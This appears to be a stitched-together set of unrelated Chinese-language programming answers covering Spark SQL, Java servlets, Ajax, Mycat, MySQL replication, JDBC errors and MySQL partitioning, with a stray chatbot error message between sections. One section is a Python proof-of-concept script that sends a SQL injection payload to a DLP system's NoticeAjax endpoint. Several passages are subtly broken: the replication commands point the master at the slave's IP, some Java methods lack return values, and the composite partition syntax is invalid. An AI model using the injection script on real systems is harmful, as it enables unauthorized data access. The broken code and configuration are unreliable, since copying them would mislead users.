import org.apache.spark.sql.SparkSession
 
// 创建SparkSession
val spark = SparkSession.builder()
  .appName("SparkSQL初体验")
  .config("spark.some.config.option", "some-value")
  .getOrCreate()
 
// 引入隐式转换
import spark.implicits._
 
// 创建DataFrame
val dataFrame = Seq(
  (1, "张三", "北京"),
  (2, "李四", "上海"),
  (3, "王五", "广州")
).toDF("id", "name", "city")
 
// 注册临时视图
dataFrame.createOrReplaceTempView("people")
 
// 执行SQL查询
val sqlDF = spark.sql("SELECT * FROM people")
 
// 显示查询结果
sqlDF.show()
 
// 停止SparkSession
spark.stop()

这段代码首先创建了一个SparkSession，并启动了一个简单的交互式Spark SQL会话。它创建了一个DataFrame，将其注册为一个临时视图，并执行了一个SQL查询。最后，它显示了查询结果并清理了SparkSession。这个过程是学习Spark SQL的一个很好的起点。

由于提供整个在线商城系统的代码超出了答案的字数限制，我将提供一个简化版本的在线商城系统的核心功能代码示例。这个示例包括了用户注册、登录、商品列表展示和购买流程的核心代码。

// UserServlet.java
@WebServlet("/user")
public class UserServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String action = request.getParameter("action");
        if ("register".equals(action)) {
            register(request, response);
        } else if ("login".equals(action)) {
            login(request, response);
        }
        // 其他操作...
    }
 
    private void register(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 获取注册信息
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        // 调用业务逻辑层注册方法
        boolean success = UserService.register(username, password);
        // 响应注册结果
        response.getWriter().write(success ? "注册成功" : "注册失败");
    }
 
    private void login(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 获取登录信息
        String username = request.getParameter("username");
        String password = request.getParameter("password");
        // 调用业务逻辑层登录方法
        User user = UserService.login(username, password);
        // 响应登录结果
        if (user != null) {
            response.getWriter().write("登录成功");
            // 保存用户信息到session
            request.getSession().setAttribute("user", user);
        } else {
            response.getWriter().write("登录失败");
        }
    }
    // 其他操作的处理方法...
}
 
// UserService.java
public class UserService {
    public static boolean register(String username, String password) {
        // 业务逻辑：将用户信息保存到数据库
        // 返回注册是否成功
    }
 
    public static User login(String username, String password) {
        // 业务逻辑：验证用户名密码并返回用户信息
        // 如果验证失败，返回null
    }
    // 其他业务方法...
}
 
// User.java
public class User {
    private int id;
    private String username;
    private String password;
    // 其他用户信息...
    // getter和setter方法...
}

以上代码提供了用户注册和登录的核心Servlet处理逻辑。在实际的在线商城系统中，还会有购物车管理、订单处理、支付接口集成等功能，这些功能都需要类似的处理方式。这个简化的例子旨在展示如何使用Java进行Web开发的基本框架和技术。

import org.apache.spark.sql.SparkSession
 
// 创建SparkSession
val spark = SparkSession.builder()
  .appName("Spark SQL Basic Example")
  .config("spark.some.config.option", "some-value")
  .getOrCreate()
 
// 引入隐式转换
import spark.implicits._
 
// 创建DataFrame
val data = Seq(
  (1, "John Doe", "M", 21),
  (2, "Jane Doe", "F", 19),
  (3, "Steve Smith", "M", 22)
)
val df = data.toDF("id", "name", "gender", "age")
 
// 创建视图
df.createOrReplaceTempView("people")
 
// 运行SQL查询
val sqlDF = spark.sql("SELECT * FROM people WHERE age >= 21")
 
// 显示查询结果
sqlDF.show()
 
// 停止SparkSession
spark.stop()

这段代码首先创建了一个SparkSession，并启动了一个简单的Spark SQL查询，查询选取了年龄大于等于21岁的所有人的信息。代码展示了如何创建DataFrame，将其转换为视图，并使用Spark SQL执行查询。最后，它停止了SparkSession。这个例子是学习Spark SQL的基础，并展示了如何在实际应用程序中使用它。

由于原始的POC代码已经很接近实际的应用场景，我们可以提供一个简化的示例来说明SQL注入漏洞的复现过程。

# 引入必要的模块
import requests
 
# 目标URL
url = "http://your-dlp-system-url/NoticeAjax"
 
# 发送请求的参数，这里的参数需要根据实际的接口来设置
params = {
    "method": "getNoticeList",
    "page": "1",
    "rows": "10",
    "sort": "asc",
    "order": "notice_id",
    "search_0": "1' OR '1'='1",  # 这里是SQL注入的Payload
    "operate": ""
}
 
# 发送请求
response = requests.get(url, params=params)
 
# 输出响应结果
print(response.text)

在这个示例中，我们使用了requests库来发送一个GET请求到NoticeAjax接口，并附带了一个SQL注入的Payload作为参数。如果DLP系统中存在SQL注入漏洞，攻击者可以通过这个Payload获取到系统中的敏感数据。

警告：此代码仅用于教育目的，并且不推荐实际环境中使用。攻击者应遵守所有适用的法律法规，并且不得用于未授权的入侵测试或其他不当行为。

问题描述不清晰，但我将尽可能提供一些关于"原生ajax，$，Mycat和Mysql搭建高可用企业数据库集群"的信息和示例代码。

1. 原生Ajax请求:

var xhr = new XMLHttpRequest();
xhr.open("GET", "your-api-endpoint", true);
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4 && xhr.status == 200) {
    console.log(xhr.responseText);
  }
};
xhr.send();

2. jQuery的Ajax请求:

$.ajax({
  url: "your-api-endpoint",
  type: "GET",
  success: function (response) {
    console.log(response);
  },
  error: function (xhr, status, error) {
    console.error("An error occurred: " + status + "\nError: " + error);
  }
});

3. Mycat介绍:

Mycat 是一个开源的数据库分库分表中间件，用于实现MySQL数据库的高可用、高性能和伸缩性。

4. Mycat 配置示例:

<schema name="test_mycat" checkSQLschema="false" sqlMaxLimit="100">
    <table name="user" primaryKey="id" dataNode="dn1,dn2" rule="sharding-by-murmur" />
</schema>
 
<dataNode name="dn1" dataHost="host1" database="db1" />
<dataNode name="dn2" dataHost="host2" database="db2" />
 
<dataHost name="host1" maxCon="1000" minCon="10" balance="0"
          writeType="0" dbType="mysql" dbDriver="native" switchType="1"  slaveThreshold="100">
    <heartbeat>select user()</heartbeat>
    <writeHost host="hostM1" url="localhost:3306" user="user1" password="password1"/>
</dataHost>

5. MySQL高可用搭建:

MySQL高可用可以通过多种方式实现，比如使用主从复制（M-S）、主主复制（M-M），或者使用Galera Cluster、Group Replication等。

以主从复制为例，以下是简化的配置步骤：

# 配置主(Master)MySQL
[mysqld]
log-bin=mysql-bin
server-id=1
 
# 配置从(Slave)MySQL
[mysqld]
server-id=2
relay-log=relay-bin
relay-log-index=slave-relay-bin.index

然后在主库上授权从库并启动复制：

GRANT REPLICATION SLAVE ON *.* TO 'replication_user'@'slave_ip' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
CHANGE MASTER TO
MASTER_HOST='slave_ip',
MASTER_USER='replication_user',
MASTER_PASSWORD='password',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=0;
START SLAVE;

以上是一个高可用MySQL集群的简化构建过程，具体实现可能需要更复杂的配置和监控。

😩抱歉，出了点小问题，请稍后重试

import java.sql.*;
 
public class JDBCExample {
    public static void main(String[] args) {
        // 数据库URL，用户名和密码
        String jdbcUrl = "jdbc:mysql://localhost:3306/数据库名";
        String user = "用户名";
        String pass = "密码";
 
        // 注册JDBC驱动
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
            return;
        }
 
        // 建立连接
        try (Connection conn = DriverManager.getConnection(jdbcUrl, user, pass);
             // 创建Statement对象
             Statement statement = conn.createStatement();
             // 创建结果集对象
             ResultSet resultSet = statement.executeQuery("SHOW DATABASES")) {
 
            // 遍历数据库名
            while (resultSet.next()) {
                System.out.println("数据库名: " + resultSet.getString(1));
            }
 
            // 获取指定数据库的表名和字段信息
            String tableQuery = "SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '数据库名'";
            resultSet = statement.executeQuery(tableQuery);
 
            // 遍历表名和字段名
            while (resultSet.next()) {
                System.out.println("表名: " + resultSet.getString("TABLE_NAME") + ", 字段名: " + resultSet.getString("COLUMN_NAME"));
            }
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

确保替换jdbc:mysql://localhost:3306/数据库名中的数据库名、用户名和密码为实际的数据库信息。代码中使用了try-with-resources结构来自动关闭数据库连接和相关资源，避免了显式关闭资源的需要。

报错信息 "Failed to obtain JDBC Connection; nested exception is java.sql.SQLException" 表明应用程序在尝试获取数据库连接时失败了，并且抛出了一个java.sql.SQLException异常。这个异常是 Java 数据库连接（JDBC）API 中定义的一个类，用来表示数据库访问错误。

解决这个问题通常需要以下步骤：

1. 检查数据库服务状态：确保数据库服务正在运行并且可以接受连接。
2. 检查数据库连接信息：验证数据库的 URL、用户名和密码是否正确。
3. 检查网络连接：如果数据库服务在远程服务器上，确保应用服务器和数据库服务器之间的网络连接没有问题。
4. 检查驱动程序：确保应用程序中使用的 JDBC 驱动程序与数据库兼容，并且已经正确地添加到项目的依赖中。
5. 检查连接池配置：如果应用使用连接池，检查连接池配置是否正确，如最大连接数、超时设置等。
6. 查看异常堆栈：该异常可能伴随着更具体的错误信息，查看堆栈跟踪可以提供更多线索。
7. 数据库权限：确保数据库用户有足够的权限去执行应用程序尝试执行的操作。
8. 防火墙和安全组设置：确保没有网络安全工具（如防火墙）阻止访问数据库端口。
9. 数据库服务器资源：检查数据库服务器的资源（如 CPU、内存）是否足够，高负载或资源不足也可能导致无法建立连接。
10. 查看数据库日志：数据库的日志文件可能包含有助于诊断问题的额外信息。

根据具体的错误信息，可能需要采取针对性的措施来解决问题。如果错误信息不够详细，可能需要进一步调试或查看相关的日志文件来确定问题的根源。

报错解释：

java.sql.SQLNonTransientConnectionException 表示一个不可序列化的、非临时性的数据库连接异常。这种异常通常意味着尝试建立数据库连接时出现了问题，并且这些问题不是由于暂时性因素引起的，比如网络问题、数据库服务器不可用、驱动程序问题等。

报错信息 Cannot load connection class 表示无法加载数据库连接类。这通常是因为JDBC驱动中缺少了某些类，或者类路径（classpath）没有正确设置，导致JDBC驱动无法找到需要的类。

解决方法：

1. 确认是否已经添加了正确的JDBC驱动到项目的类路径中。
2. 检查是否有拼写错误，例如DriverManager.getConnection中的数据库驱动URL是否正确。
3. 确认所使用的JDBC驱动版本与数据库版本兼容。
4. 如果是在web服务器或应用服务器上，确保驱动已经被部署。
5. 如果使用的是数据源（如在应用服务器中），确保数据源配置正确，包括驱动类名、URL、用户名和密码。
6. 检查是否有其他依赖冲突，可能需要排除或更新不兼容的依赖。

如果以上步骤无法解决问题，可能需要查看详细的异常堆栈跟踪信息，以获取更多关于问题的细节。

MySQL中的索引和分区是两个不同的概念，但它们都是数据库管理和优化性能的重要手段。

索引（Index）是帮助数据库高效获取数据的数据结构。在MySQL中，索引主要是用来优化查询速度的。分区（Partitioning）是将表中的数据分散存储到不同的物理区域，以提高查询和更新性能。

以下是创建索引和分区的基本示例：

索引:

-- 创建一个普通索引
CREATE INDEX index_name ON table_name(column_name);
 
-- 创建一个唯一索引
CREATE UNIQUE INDEX index_name ON table_name(column_name);
 
-- 创建一个全文索引
CREATE FULLTEXT INDEX index_name ON table_name(column_name);
 
-- 创建多列索引
CREATE INDEX index_name ON table_name(column1_name, column2_name);

分区:

-- 范围分区
CREATE TABLE table_name (
    id INT,
    data VARCHAR(100)
)
PARTITION BY RANGE (id) (
    PARTITION p0 VALUES LESS THAN (10000),
    PARTITION p1 VALUES LESS THAN (20000),
    PARTITION p2 VALUES LESS THAN (30000),
    PARTITION p3 VALUES LESS THAN (40000)
);
 
-- 列表分区
CREATE TABLE orders (
    id INT,
    product_id INT
)
PARTITION BY LIST (product_id) (
    PARTITION p0 VALUES IN (1,2,3),
    PARTITION p1 VALUES IN (4,5,6),
    PARTITION p2 VALUES IN (7,8,9),
    PARTITION p3 VALUES IN (10,11,12)
);
 
-- 哈希分区
CREATE TABLE table_name (
    id INT,
    data VARCHAR(100)
)
PARTITION BY HASH (id)
PARTITIONS 4;
 
-- 复合分区（范围和列表结合）
CREATE TABLE table_name (
    id INT,
    product_id INT
)
PARTITION BY RANGE (id)
SUBPARTITION BY LIST (product_id) (
    PARTITION p0 VALUES LESS THAN (10000) (
        SUBPARTITION s0 VALUES IN (1,2,3),
        SUBPARTITION s1 VALUES IN (4,5,6)
    ),
    PARTITION p1 VALUES LESS THAN (20000) (
        SUBPARTITION s2 VALUES IN (7,8,9),
        SUBPARTITION s3 VALUES IN (10,11,12)
    )
);

索引和分区是互补的技术，通常一起使用以提升数据库的性能。创建索引可以加速查询，而分区可以将大型操作分散到不同的分区上，减少锁竞争和性能瓶颈。